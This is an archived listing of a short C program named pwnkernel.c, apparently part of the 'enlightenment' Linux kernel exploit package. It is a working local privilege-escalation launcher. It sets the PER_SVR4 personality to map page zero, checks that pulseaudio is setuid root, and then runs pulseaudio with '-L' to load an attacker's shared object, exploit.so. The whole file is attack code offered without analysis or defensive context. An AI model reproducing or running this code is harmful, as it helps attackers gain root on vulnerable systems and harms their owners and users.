home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / pwnkernel.c < prev    next >
C/C++ Source or Header  |  2009-09-19  |  764b  |  38 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/personality.h>
  5. #include <sys/stat.h>
  6.  
  7. #define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
  8. #define PATH_TO_EXPLOIT "/home/spender/exploit.so"
  9.  
  10. int main(void)
  11. {
  12.     int ret;
  13.     struct stat fstat;
  14.  
  15.     ret = personality(PER_SVR4);
  16.  
  17.     if (ret == -1) {
  18.         fprintf(stderr, "Unable to set personality!\n");
  19.         return 3;
  20.     }
  21.  
  22.     fprintf(stdout, " [+] Personality set to: PER_SVR4\n");
  23.  
  24.     if (stat(PULSEAUDIO_PATH, &fstat)) {
  25.         fprintf(stderr, "Pulseaudio does not exist!\n");
  26.         return 3;
  27.     }
  28.  
  29.     if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
  30.         fprintf(stderr, "Pulseaudio is not suid root!\n");
  31.         return 3;
  32.     }
  33.     
  34.     execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);
  35.  
  36.     return 3;
  37. }
  38.